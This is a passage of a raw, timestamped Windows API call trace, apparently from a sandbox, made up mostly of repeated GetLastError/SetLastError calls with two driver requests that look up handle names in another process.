Flags=0x0, Size=0x1000) returned 0x190b20 [0072.064] GetLastError () returned 0x6 [0072.064] SetLastError (dwErrCode=0x6) [0072.064] GetLastError () returned 0x6 [0072.064] SetLastError (dwErrCode=0x6) [0072.064] GetLastError () returned 0x6 [0072.064] SetLastError (dwErrCode=0x6) [0072.064] GetLastError () returned 0x6 [0072.064] SetLastError (dwErrCode=0x6) [0072.064] GetLastError () returned 0x6 [0072.064] SetLastError (dwErrCode=0x6) [0072.064] GetLastError () returned 0x6 [0072.064] SetLastError (dwErrCode=0x6) [0072.065] GetLastError () returned 0x6 [0072.065] SetLastError (dwErrCode=0x6) [0072.065] GetLastError () returned 0x6 [0072.065] SetLastError (dwErrCode=0x6) [0072.065] GetLastError () returned 0x6 [0072.065] SetLastError (dwErrCode=0x6) [0072.065] GetLastError () returned 0x6 [0072.065] SetLastError (dwErrCode=0x6) [0072.065] GetLastError () returned 0x6 [0072.065] SetLastError (dwErrCode=0x6) [0072.065] GetLastError () returned 0x6 [0072.065] SetLastError (dwErrCode=0x6) [0072.065] GetLastError () returned 0x6 [0072.065] SetLastError (dwErrCode=0x6) [0072.065] GetLastError () returned 0x6 [0072.065] SetLastError (dwErrCode=0x6) [0072.065] GetLastError () returned 0x6 [0072.065] SetLastError (dwErrCode=0x6) [0072.065] GetLastError () returned 0x6 [0072.065] SetLastError (dwErrCode=0x6) [0072.065] GetLastError () returned 0x6 [0072.065] SetLastError (dwErrCode=0x6) [0072.065] GetLastError () returned 0x6 [0072.065] SetLastError (dwErrCode=0x6) [0072.065] GetLastError () returned 0x6 [0072.065] SetLastError (dwErrCode=0x6) [0072.065] GetLastError () returned 0x6 [0072.065] SetLastError (dwErrCode=0x6) [0072.065] GetLastError () returned 0x6 [0072.065] SetLastError (dwErrCode=0x6) [0072.065] GetLastError () returned 0x6 [0072.065] SetLastError (dwErrCode=0x6) [0072.066] GetLastError () returned 0x6 [0072.066] SetLastError (dwErrCode=0x6) [0072.066] GetLastError () returned 0x6 [0072.066] SetLastError (dwErrCode=0x6) [0072.066] GetLastError () returned 0x6 [0072.066] SetLastError (dwErrCode=0x6) [0072.066] GetLastError () returned 0x6 [0072.066] SetLastError (dwErrCode=0x6) [0072.066] GetLastError () returned 0x6 [0072.066] SetLastError (dwErrCode=0x6) [0072.066] GetLastError () returned 0x6 [0072.066] SetLastError (dwErrCode=0x6) [0072.066] GetLastError () returned 0x6 [0072.066] SetLastError (dwErrCode=0x6) [0072.066] GetLastError () returned 0x6 [0072.066] SetLastError (dwErrCode=0x6) [0072.066] GetLastError () returned 0x6 [0072.066] SetLastError (dwErrCode=0x6) [0072.066] GetLastError () returned 0x6 [0072.066] SetLastError (dwErrCode=0x6) [0072.066] GetLastError () returned 0x6 [0072.066] SetLastError (dwErrCode=0x6) [0072.066] GetLastError () returned 0x6 [0072.066] SetLastError (dwErrCode=0x6) [0072.066] GetLastError () returned 0x6 [0072.066] SetLastError (dwErrCode=0x6) [0072.066] GetLastError () returned 0x6 [0072.066] SetLastError (dwErrCode=0x6) [0072.066] GetLastError () returned 0x6 [0072.066] SetLastError (dwErrCode=0x6) [0072.066] GetLastError () returned 0x6 [0072.067] SetLastError (dwErrCode=0x6) [0072.067] GetLastError () returned 0x6 [0072.067] SetLastError (dwErrCode=0x6) [0072.067] GetLastError () returned 0x6 [0072.067] SetLastError (dwErrCode=0x6) [0072.067] GetLastError () returned 0x6 [0072.067] SetLastError (dwErrCode=0x6) [0072.067] GetLastError () returned 0x6 [0072.067] SetLastError (dwErrCode=0x6) [0072.067] GetLastError () returned 0x6 [0072.067] SetLastError (dwErrCode=0x6) [0072.067] GetLastError () returned 0x6 [0072.067] SetLastError (dwErrCode=0x6) [0072.067] GetLastError () returned 0x6 [0072.067] SetLastError (dwErrCode=0x6) [0072.067] GetLastError () returned 0x6 [0072.067] SetLastError (dwErrCode=0x6) [0072.067] GetLastError () returned 0x6 [0072.067] SetLastError (dwErrCode=0x6) [0072.067] GetLastError () returned 0x6 [0072.067] SetLastError (dwErrCode=0x6) [0072.067] GetLastError () returned 0x6 [0072.067] SetLastError (dwErrCode=0x6) [0072.067] GetLastError () returned 0x6 [0072.067] SetLastError (dwErrCode=0x6) [0072.067] GetLastError () returned 0x6 [0072.067] SetLastError (dwErrCode=0x6) [0072.067] GetLastError () returned 0x6 [0072.067] SetLastError (dwErrCode=0x6) [0072.067] GetLastError () returned 0x6 [0072.067] SetLastError (dwErrCode=0x6) [0072.067] GetLastError () returned 0x6 [0072.067] SetLastError (dwErrCode=0x6) [0072.068] GetLastError () returned 0x6 [0072.068] SetLastError (dwErrCode=0x6) [0072.068] GetLastError () returned 0x6 [0072.068] SetLastError (dwErrCode=0x6) [0072.068] GetLastError () returned 0x6 [0072.068] SetLastError (dwErrCode=0x6) [0072.068] GetLastError () returned 0x6 [0072.068] SetLastError (dwErrCode=0x6) [0072.068] GetLastError () returned 0x6 [0072.068] SetLastError (dwErrCode=0x6) [0072.068] GetLastError () returned 0x6 [0072.068] SetLastError (dwErrCode=0x6) [0072.068] GetLastError () returned 0x6 [0072.068] SetLastError (dwErrCode=0x6) [0072.068] GetLastError () returned 0x6 [0072.068] SetLastError (dwErrCode=0x6) [0072.068] GetLastError () returned 0x6 [0072.068] SetLastError (dwErrCode=0x6) [0072.068] GetLastError () returned 0x6 [0072.068] SetLastError (dwErrCode=0x6) [0072.068] GetLastError () returned 0x6 [0072.068] SetLastError (dwErrCode=0x6) [0072.068] GetLastError () returned 0x6 [0072.068] SetLastError (dwErrCode=0x6) [0072.068] GetLastError () returned 0x6 [0072.068] SetLastError (dwErrCode=0x6) [0072.068] GetLastError () returned 0x6 [0072.068] SetLastError (dwErrCode=0x6) [0072.068] GetLastError () returned 0x6 [0072.068] SetLastError (dwErrCode=0x6) [0072.068] GetLastError () returned 0x6 [0072.068] SetLastError (dwErrCode=0x6) [0072.068] GetLastError () returned 0x6 [0072.069] SetLastError (dwErrCode=0x6) [0072.069] GetLastError () returned 0x6 [0072.069] SetLastError (dwErrCode=0x6) [0072.069] GetLastError () returned 0x6 [0072.069] SetLastError (dwErrCode=0x6) [0072.069] GetLastError () returned 0x6 [0072.069] SetLastError (dwErrCode=0x6) [0072.069] GetLastError () returned 0x6 [0072.069] SetLastError (dwErrCode=0x6) [0072.069] GetLastError () returned 0x6 [0072.069] SetLastError (dwErrCode=0x6) [0072.069] GetLastError () returned 0x6 [0072.069] SetLastError (dwErrCode=0x6) [0072.069] GetLastError () returned 0x6 [0072.069] SetLastError (dwErrCode=0x6) [0072.069] GetLastError () returned 0x6 [0072.069] SetLastError (dwErrCode=0x6) [0072.069] GetLastError () returned 0x6 [0072.069] SetLastError (dwErrCode=0x6) [0072.069] GetLastError () returned 0x6 [0072.069] SetLastError (dwErrCode=0x6) [0072.069] GetLastError () returned 0x6 [0072.069] SetLastError (dwErrCode=0x6) [0072.069] GetLastError () returned 0x6 [0072.069] SetLastError (dwErrCode=0x6) [0072.069] GetLastError () returned 0x6 [0072.069] SetLastError (dwErrCode=0x6) [0072.069] GetLastError () returned 0x6 [0072.069] SetLastError (dwErrCode=0x6) [0072.069] GetLastError () returned 0x6 [0072.069] SetLastError (dwErrCode=0x6) [0072.070] GetLastError () returned 0x6 [0072.070] SetLastError (dwErrCode=0x6) [0072.070] GetLastError () returned 0x6 [0072.070] SetLastError (dwErrCode=0x6) [0072.070] GetLastError () returned 0x6 [0072.070] SetLastError (dwErrCode=0x6) [0072.070] GetLastError () returned 0x6 [0072.070] SetLastError (dwErrCode=0x6) [0072.070] GetLastError () returned 0x6 [0072.070] SetLastError (dwErrCode=0x6) [0072.070] GetLastError () returned 0x6 [0072.070] SetLastError (dwErrCode=0x6) [0072.070] GetLastError () returned 0x6 [0072.070] SetLastError (dwErrCode=0x6) [0072.070] GetLastError () returned 0x6 [0072.070] SetLastError (dwErrCode=0x6) [0072.070] GetLastError () returned 0x6 [0072.070] SetLastError (dwErrCode=0x6) [0072.070] GetLastError () returned 0x6 [0072.070] SetLastError (dwErrCode=0x6) [0072.070] GetLastError () returned 0x6 [0072.070] SetLastError (dwErrCode=0x6) [0072.070] GetLastError () returned 0x6 [0072.070] SetLastError (dwErrCode=0x6) [0072.070] GetLastError () returned 0x6 [0072.070] SetLastError (dwErrCode=0x6) [0072.070] GetLastError () returned 0x6 [0072.070] SetLastError (dwErrCode=0x6) [0072.070] GetLastError () returned 0x6 [0072.070] SetLastError (dwErrCode=0x6) [0072.070] GetLastError () returned 0x6 [0072.070] SetLastError (dwErrCode=0x6) [0072.071] GetLastError () returned 0x6 [0072.071] SetLastError (dwErrCode=0x6) [0072.071] GetLastError () returned 0x6 [0072.071] SetLastError (dwErrCode=0x6) [0072.071] GetLastError () returned 0x6 [0072.071] SetLastError (dwErrCode=0x6) [0072.071] GetLastError () returned 0x6 [0072.071] SetLastError (dwErrCode=0x6) [0072.071] GetLastError () returned 0x6 [0072.071] SetLastError (dwErrCode=0x6) [0072.071] GetLastError () returned 0x6 [0072.071] SetLastError (dwErrCode=0x6) [0072.071] GetLastError () returned 0x6 [0072.071] SetLastError (dwErrCode=0x6) [0072.071] GetLastError () returned 0x6 [0072.071] SetLastError (dwErrCode=0x6) [0072.071] GetLastError () returned 0x6 [0072.071] SetLastError (dwErrCode=0x6) [0072.071] GetLastError () returned 0x6 [0072.071] SetLastError (dwErrCode=0x6) [0072.071] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.071] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0072.071] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.071] PsAcquireProcessExitSynchronization () returned 0x0 [0072.071] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0) [0072.071] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0019ff7c0, HandleInformation=0x0) returned 0x0 [0072.071] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.071] PsReleaseProcessExitSynchronization () returned 0x2 [0072.071] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x49 [0072.071] ObQueryNameString (in: Object=0xfffff8a0019ff7c0, ObjectNameInfo=0xfffffa80039dc044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039dc044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.071] ObfDereferenceObject (Object=0xfffff8a0019ff7c0) returned 0x2 [0072.072] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.072] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.072] GetLastError () returned 0x6 [0072.072] SetLastError (dwErrCode=0x6) [0072.072] GetLastError () returned 0x6 [0072.072] SetLastError (dwErrCode=0x6) [0072.072] GetLastError () returned 0x6 [0072.072] SetLastError (dwErrCode=0x6) [0072.072] GetLastError () returned 0x6 [0072.072] SetLastError (dwErrCode=0x6) [0072.072] GetLastError () returned 0x6 [0072.072] SetLastError (dwErrCode=0x6) [0072.072] GetLastError () returned 0x6 [0072.072] SetLastError (dwErrCode=0x6) [0072.072] GetLastError () returned 0x6 [0072.072] SetLastError (dwErrCode=0x6) [0072.072] GetLastError () returned 0x6 [0072.072] SetLastError (dwErrCode=0x6) [0072.072] GetLastError () returned 0x6 [0072.072] SetLastError (dwErrCode=0x6) [0072.072] GetLastError () returned 0x6 [0072.072] SetLastError (dwErrCode=0x6) [0072.072] GetLastError () returned 0x6 [0072.072] SetLastError (dwErrCode=0x6) [0072.072] GetLastError () returned 0x6 [0072.072] SetLastError (dwErrCode=0x6) [0072.072] GetLastError () returned 0x6 [0072.072] SetLastError (dwErrCode=0x6) [0072.072] GetLastError () returned 0x6 [0072.073] SetLastError (dwErrCode=0x6) [0072.073] GetLastError () returned 0x6 [0072.073] SetLastError (dwErrCode=0x6) [0072.073] GetLastError () returned 0x6 [0072.073] SetLastError (dwErrCode=0x6) [0072.073] GetLastError () returned 0x6 [0072.073] SetLastError (dwErrCode=0x6) [0072.073] GetLastError () returned 0x6 [0072.073] SetLastError (dwErrCode=0x6) [0072.073] GetLastError () returned 0x6 [0072.073] SetLastError (dwErrCode=0x6) [0072.073] GetLastError () returned 0x6 [0072.073] SetLastError (dwErrCode=0x6) [0072.073] GetLastError () returned 0x6 [0072.073] SetLastError (dwErrCode=0x6) [0072.073] GetLastError () returned 0x6 [0072.073] SetLastError (dwErrCode=0x6) [0072.073] GetLastError () returned 0x6 [0072.073] SetLastError (dwErrCode=0x6) [0072.073] GetLastError () returned 0x6 [0072.073] SetLastError (dwErrCode=0x6) [0072.073] GetLastError () returned 0x6 [0072.073] SetLastError (dwErrCode=0x6) [0072.073] GetLastError () returned 0x6 [0072.073] SetLastError (dwErrCode=0x6) [0072.073] GetLastError () returned 0x6 [0072.073] SetLastError (dwErrCode=0x6) [0072.073] GetLastError () returned 0x6 [0072.073] SetLastError (dwErrCode=0x6) [0072.073] GetLastError () returned 0x6 [0072.073] SetLastError (dwErrCode=0x6) [0072.073] GetLastError () returned 0x6 [0072.074] SetLastError (dwErrCode=0x6) [0072.074] GetLastError () returned 0x6 [0072.074] SetLastError (dwErrCode=0x6) [0072.074] GetLastError () returned 0x6 [0072.074] SetLastError (dwErrCode=0x6) [0072.074] GetLastError () returned 0x6 [0072.074] SetLastError (dwErrCode=0x6) [0072.074] GetLastError () returned 0x6 [0072.074] SetLastError (dwErrCode=0x6) [0072.074] GetLastError () returned 0x6 [0072.074] SetLastError (dwErrCode=0x6) [0072.074] GetLastError () returned 0x6 [0072.074] SetLastError (dwErrCode=0x6) [0072.074] GetLastError () returned 0x6 [0072.074] SetLastError (dwErrCode=0x6) [0072.074] GetLastError () returned 0x6 [0072.074] SetLastError (dwErrCode=0x6) [0072.074] GetLastError () returned 0x6 [0072.074] SetLastError (dwErrCode=0x6) [0072.074] GetLastError () returned 0x6 [0072.074] SetLastError (dwErrCode=0x6) [0072.074] GetLastError () returned 0x6 [0072.074] SetLastError (dwErrCode=0x6) [0072.074] GetLastError () returned 0x6 [0072.074] SetLastError (dwErrCode=0x6) [0072.074] GetLastError () returned 0x6 [0072.074] SetLastError (dwErrCode=0x6) [0072.074] GetLastError () returned 0x6 [0072.074] SetLastError (dwErrCode=0x6) [0072.074] GetLastError () returned 0x6 [0072.074] SetLastError (dwErrCode=0x6) [0072.074] GetLastError () returned 0x6 [0072.074] SetLastError (dwErrCode=0x6) [0072.075] GetLastError () returned 0x6 [0072.075] SetLastError (dwErrCode=0x6) [0072.075] GetLastError () returned 0x6 [0072.075] SetLastError (dwErrCode=0x6) [0072.075] GetLastError () returned 0x6 [0072.075] SetLastError (dwErrCode=0x6) [0072.075] GetLastError () returned 0x6 [0072.075] SetLastError (dwErrCode=0x6) [0072.075] GetLastError () returned 0x6 [0072.075] SetLastError (dwErrCode=0x6) [0072.075] GetLastError () returned 0x6 [0072.075] SetLastError (dwErrCode=0x6) [0072.075] GetLastError () returned 0x6 [0072.075] SetLastError (dwErrCode=0x6) [0072.075] GetLastError () returned 0x6 [0072.075] SetLastError (dwErrCode=0x6) [0072.075] GetLastError () returned 0x6 [0072.075] SetLastError (dwErrCode=0x6) [0072.075] GetLastError () returned 0x6 [0072.075] SetLastError (dwErrCode=0x6) [0072.075] GetLastError () returned 0x6 [0072.075] SetLastError (dwErrCode=0x6) [0072.075] GetLastError () returned 0x6 [0072.075] SetLastError (dwErrCode=0x6) [0072.076] GetLastError () returned 0x6 [0072.076] SetLastError (dwErrCode=0x6) [0072.076] GetLastError () returned 0x6 [0072.076] SetLastError (dwErrCode=0x6) [0072.076] GetLastError () returned 0x6 [0072.076] SetLastError (dwErrCode=0x6) [0072.076] GetLastError () returned 0x6 [0072.076] SetLastError (dwErrCode=0x6) [0072.076] GetLastError () returned 0x6 [0072.076] SetLastError (dwErrCode=0x6) [0072.076] GetLastError () returned 0x6 [0072.076] SetLastError (dwErrCode=0x6) [0072.076] GetLastError () returned 0x6 [0072.076] SetLastError (dwErrCode=0x6) [0072.076] GetLastError () returned 0x6 [0072.076] SetLastError (dwErrCode=0x6) [0072.076] GetLastError () returned 0x6 [0072.076] SetLastError (dwErrCode=0x6) [0072.076] GetLastError () returned 0x6 [0072.076] SetLastError (dwErrCode=0x6) [0072.076] GetLastError () returned 0x6 [0072.076] SetLastError (dwErrCode=0x6) [0072.076] GetLastError () returned 0x6 [0072.076] SetLastError (dwErrCode=0x6) [0072.076] GetLastError () returned 0x6 [0072.076] SetLastError (dwErrCode=0x6) [0072.076] GetLastError () returned 0x6 [0072.076] SetLastError (dwErrCode=0x6) [0072.076] GetLastError () returned 0x6 [0072.076] SetLastError (dwErrCode=0x6) [0072.077] GetLastError () returned 0x6 [0072.077] SetLastError (dwErrCode=0x6) [0072.077] GetLastError () returned 0x6 [0072.077] SetLastError (dwErrCode=0x6) [0072.077] GetLastError () returned 0x6 [0072.077] SetLastError (dwErrCode=0x6) [0072.077] GetLastError () returned 0x6 [0072.077] SetLastError (dwErrCode=0x6) [0072.077] GetLastError () returned 0x6 [0072.077] SetLastError (dwErrCode=0x6) [0072.077] GetLastError () returned 0x6 [0072.077] SetLastError (dwErrCode=0x6) [0072.077] GetLastError () returned 0x6 [0072.077] SetLastError (dwErrCode=0x6) [0072.077] GetLastError () returned 0x6 [0072.077] SetLastError (dwErrCode=0x6) [0072.077] GetLastError () returned 0x6 [0072.077] SetLastError (dwErrCode=0x6) [0072.077] GetLastError () returned 0x6 [0072.077] SetLastError (dwErrCode=0x6) [0072.077] GetLastError () returned 0x6 [0072.077] SetLastError (dwErrCode=0x6) [0072.077] GetLastError () returned 0x6 [0072.077] SetLastError (dwErrCode=0x6) [0072.077] GetLastError () returned 0x6 [0072.077] SetLastError (dwErrCode=0x6) [0072.077] GetLastError () returned 0x6 [0072.077] SetLastError (dwErrCode=0x6) [0072.077] GetLastError () returned 0x6 [0072.078] SetLastError (dwErrCode=0x6) [0072.078] GetLastError () returned 0x6 [0072.078] SetLastError (dwErrCode=0x6) [0072.078] GetLastError () returned 0x6 [0072.078] SetLastError (dwErrCode=0x6) [0072.078] GetLastError () returned 0x6 [0072.078] SetLastError (dwErrCode=0x6) [0072.078] GetLastError () returned 0x6 [0072.078] SetLastError (dwErrCode=0x6) [0072.078] GetLastError () returned 0x6 [0072.078] SetLastError (dwErrCode=0x6) [0072.078] GetLastError () returned 0x6 [0072.078] SetLastError (dwErrCode=0x6) [0072.078] GetLastError () returned 0x6 [0072.078] SetLastError (dwErrCode=0x6) [0072.078] GetLastError () returned 0x6 [0072.078] SetLastError (dwErrCode=0x6) [0072.078] GetLastError () returned 0x6 [0072.078] SetLastError (dwErrCode=0x6) [0072.078] GetLastError () returned 0x6 [0072.078] SetLastError (dwErrCode=0x6) [0072.078] GetLastError () returned 0x6 [0072.078] SetLastError (dwErrCode=0x6) [0072.078] GetLastError () returned 0x6 [0072.078] SetLastError (dwErrCode=0x6) [0072.078] GetLastError () returned 0x6 [0072.078] SetLastError (dwErrCode=0x6) [0072.078] GetLastError () returned 0x6 [0072.078] SetLastError (dwErrCode=0x6) [0072.078] GetLastError () returned 0x6 [0072.079] SetLastError (dwErrCode=0x6) [0072.079] GetLastError () returned 0x6 [0072.079] SetLastError (dwErrCode=0x6) [0072.079] GetLastError () returned 0x6 [0072.079] SetLastError (dwErrCode=0x6) [0072.079] GetLastError () returned 0x6 [0072.079] SetLastError (dwErrCode=0x6) [0072.079] GetLastError () returned 0x6 [0072.079] SetLastError (dwErrCode=0x6) [0072.079] GetLastError () returned 0x6 [0072.079] SetLastError (dwErrCode=0x6) [0072.079] GetLastError () returned 0x6 [0072.079] SetLastError (dwErrCode=0x6) [0072.079] GetLastError () returned 0x6 [0072.079] SetLastError (dwErrCode=0x6) [0072.079] GetLastError () returned 0x6 [0072.079] SetLastError (dwErrCode=0x6) [0072.079] GetLastError () returned 0x6 [0072.079] SetLastError (dwErrCode=0x6) [0072.079] GetLastError () returned 0x6 [0072.079] SetLastError (dwErrCode=0x6) [0072.079] GetLastError () returned 0x6 [0072.079] SetLastError (dwErrCode=0x6) [0072.079] GetLastError () returned 0x6 [0072.079] SetLastError (dwErrCode=0x6) [0072.079] GetLastError () returned 0x6 [0072.079] SetLastError (dwErrCode=0x6) [0072.079] GetLastError () returned 0x6 [0072.079] SetLastError (dwErrCode=0x6) [0072.079] GetLastError () returned 0x6 [0072.080] SetLastError (dwErrCode=0x6) [0072.080] GetLastError () returned 0x6 [0072.080] SetLastError (dwErrCode=0x6) [0072.080] GetLastError () returned 0x6 [0072.080] SetLastError (dwErrCode=0x6) [0072.080] GetLastError () returned 0x6 [0072.080] SetLastError (dwErrCode=0x6) [0072.080] GetLastError () returned 0x6 [0072.080] SetLastError (dwErrCode=0x6) [0072.080] GetLastError () returned 0x6 [0072.080] SetLastError (dwErrCode=0x6) [0072.080] GetLastError () returned 0x6 [0072.080] SetLastError (dwErrCode=0x6) [0072.080] GetLastError () returned 0x6 [0072.080] SetLastError (dwErrCode=0x6) [0072.080] GetLastError () returned 0x6 [0072.080] SetLastError (dwErrCode=0x6) [0072.080] GetLastError () returned 0x6 [0072.080] SetLastError (dwErrCode=0x6) [0072.080] GetLastError () returned 0x6 [0072.080] SetLastError (dwErrCode=0x6) [0072.080] GetLastError () returned 0x6 [0072.080] SetLastError (dwErrCode=0x6) [0072.080] GetLastError () returned 0x6 [0072.080] SetLastError (dwErrCode=0x6) [0072.080] GetLastError () returned 0x6 [0072.080] SetLastError (dwErrCode=0x6) [0072.080] GetLastError () returned 0x6 [0072.081] SetLastError (dwErrCode=0x6) [0072.081] GetLastError () returned 0x6 [0072.081] SetLastError (dwErrCode=0x6) [0072.081] GetLastError () returned 0x6 [0072.081] SetLastError (dwErrCode=0x6) [0072.081] GetLastError () returned 0x6 [0072.081] SetLastError (dwErrCode=0x6) [0072.081] GetLastError () returned 0x6 [0072.081] SetLastError (dwErrCode=0x6) [0072.081] GetLastError () returned 0x6 [0072.081] SetLastError (dwErrCode=0x6) [0072.081] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.081] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0xa6, lpOverlapped=0x0) returned 1 [0072.081] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.081] PsAcquireProcessExitSynchronization () returned 0x0 [0072.081] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0) [0072.081] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001a09190, HandleInformation=0x0) returned 0x0 [0072.081] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.081] PsReleaseProcessExitSynchronization () returned 0x2 [0072.081] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x49 [0072.081] ObQueryNameString (in: Object=0xfffff8a001a09190, ObjectNameInfo=0xfffffa80039dd044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039dd044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.081] ObfDereferenceObject (Object=0xfffff8a001a09190) returned 0x2 [0072.081] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.081] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.081] GetLastError () returned 0x6 [0072.081] SetLastError (dwErrCode=0x6) [0072.081] GetLastError () returned 0x6 [0072.081] SetLastError (dwErrCode=0x6) [0072.082] GetLastError () returned 0x6 [0072.082] SetLastError (dwErrCode=0x6) [0072.082] GetLastError () returned 0x6 [0072.082] SetLastError (dwErrCode=0x6) [0072.082] GetLastError () returned 0x6 [0072.082] SetLastError (dwErrCode=0x6) [0072.082] GetLastError () returned 0x6 [0072.082] SetLastError (dwErrCode=0x6) [0072.082] GetLastError () returned 0x6 [0072.082] SetLastError (dwErrCode=0x6) [0072.082] GetLastError () returned 0x6 [0072.082] SetLastError (dwErrCode=0x6) [0072.082] GetLastError () returned 0x6 [0072.082] SetLastError (dwErrCode=0x6) [0072.082] GetLastError () returned 0x6 [0072.082] SetLastError (dwErrCode=0x6) [0072.082] GetLastError () returned 0x6 [0072.082] SetLastError (dwErrCode=0x6) [0072.082] GetLastError () returned 0x6 [0072.082] SetLastError (dwErrCode=0x6) [0072.082] GetLastError () returned 0x6 [0072.082] SetLastError (dwErrCode=0x6) [0072.082] GetLastError () returned 0x6 [0072.082] SetLastError (dwErrCode=0x6) [0072.082] GetLastError () returned 0x6 [0072.082] SetLastError (dwErrCode=0x6) [0072.082] GetLastError () returned 0x6 [0072.082] SetLastError (dwErrCode=0x6) [0072.082] GetLastError () returned 0x6 [0072.083] SetLastError (dwErrCode=0x6) [0072.083] GetLastError () returned 0x6 [0072.083] SetLastError (dwErrCode=0x6) [0072.083] GetLastError () returned 0x6 [0072.083] SetLastError (dwErrCode=0x6) [0072.083] GetLastError () returned 0x6 [0072.083] SetLastError (dwErrCode=0x6) [0072.083] GetLastError () returned 0x6 [0072.083] SetLastError (dwErrCode=0x6) [0072.083] GetLastError () returned 0x6 [0072.083] SetLastError (dwErrCode=0x6) [0072.083] GetLastError () returned 0x6 [0072.083] SetLastError (dwErrCode=0x6) [0072.083] GetLastError () returned 0x6 [0072.083] SetLastError (dwErrCode=0x6) [0072.083] GetLastError () returned 0x6 [0072.083] SetLastError (dwErrCode=0x6) [0072.083] GetLastError () returned 0x6 [0072.083] SetLastError (dwErrCode=0x6) [0072.083] GetLastError () returned 0x6 [0072.083] SetLastError (dwErrCode=0x6) [0072.083] GetLastError () returned 0x6 [0072.083] SetLastError (dwErrCode=0x6) [0072.083] GetLastError () returned 0x6 [0072.083] SetLastError (dwErrCode=0x6) [0072.083] GetLastError () returned 0x6 [0072.083] SetLastError (dwErrCode=0x6) [0072.083] GetLastError () returned 0x6 [0072.083] SetLastError (dwErrCode=0x6) [0072.083] GetLastError () returned 0x6 [0072.084] SetLastError (dwErrCode=0x6) [0072.084] GetLastError () returned 0x6 [0072.084] SetLastError (dwErrCode=0x6) [0072.084] GetLastError () returned 0x6 [0072.084] SetLastError (dwErrCode=0x6) [0072.084] GetLastError () returned 0x6 [0072.084] SetLastError (dwErrCode=0x6) [0072.084] GetLastError () returned 0x6 [0072.084] SetLastError (dwErrCode=0x6) [0072.084] GetLastError () returned 0x6 [0072.084] SetLastError (dwErrCode=0x6) [0072.084] GetLastError () returned 0x6 [0072.084] SetLastError (dwErrCode=0x6) [0072.084] GetLastError () returned 0x6 [0072.084] SetLastError (dwErrCode=0x6) [0072.084] GetLastError () returned 0x6 [0072.084] SetLastError (dwErrCode=0x6) [0072.084] GetLastError () returned 0x6 [0072.084] SetLastError (dwErrCode=0x6) [0072.084] GetLastError () returned 0x6 [0072.084] SetLastError (dwErrCode=0x6) [0072.084] GetLastError () returned 0x6 [0072.084] SetLastError (dwErrCode=0x6) [0072.084] GetLastError () returned 0x6 [0072.084] SetLastError (dwErrCode=0x6) [0072.084] GetLastError () returned 0x6 [0072.084] SetLastError (dwErrCode=0x6) [0072.084] GetLastError () returned 0x6 [0072.084] SetLastError (dwErrCode=0x6) [0072.084] GetLastError () returned 0x6 [0072.085] SetLastError (dwErrCode=0x6) [0072.085] GetLastError () returned 0x6 [0072.085] SetLastError (dwErrCode=0x6) [0072.085] GetLastError () returned 0x6 [0072.085] SetLastError (dwErrCode=0x6) [0072.085] GetLastError () returned 0x6 [0072.085] SetLastError (dwErrCode=0x6) [0072.085] GetLastError () returned 0x6 [0072.085] SetLastError (dwErrCode=0x6) [0072.085] GetLastError () returned 0x6 [0072.085] SetLastError (dwErrCode=0x6) [0072.085] GetLastError () returned 0x6 [0072.085] SetLastError (dwErrCode=0x6) [0072.085] GetLastError () returned 0x6 [0072.085] SetLastError (dwErrCode=0x6) [0072.085] GetLastError () returned 0x6 [0072.085] SetLastError (dwErrCode=0x6) [0072.085] GetLastError () returned 0x6 [0072.085] SetLastError (dwErrCode=0x6) [0072.085] GetLastError () returned 0x6 [0072.085] SetLastError (dwErrCode=0x6) [0072.085] GetLastError () returned 0x6 [0072.085] SetLastError (dwErrCode=0x6) [0072.085] GetLastError () returned 0x6 [0072.085] SetLastError (dwErrCode=0x6) [0072.085] GetLastError () returned 0x6 [0072.085] SetLastError (dwErrCode=0x6) [0072.085] GetLastError () returned 0x6 [0072.086] SetLastError (dwErrCode=0x6) [0072.086] GetLastError () returned 0x6 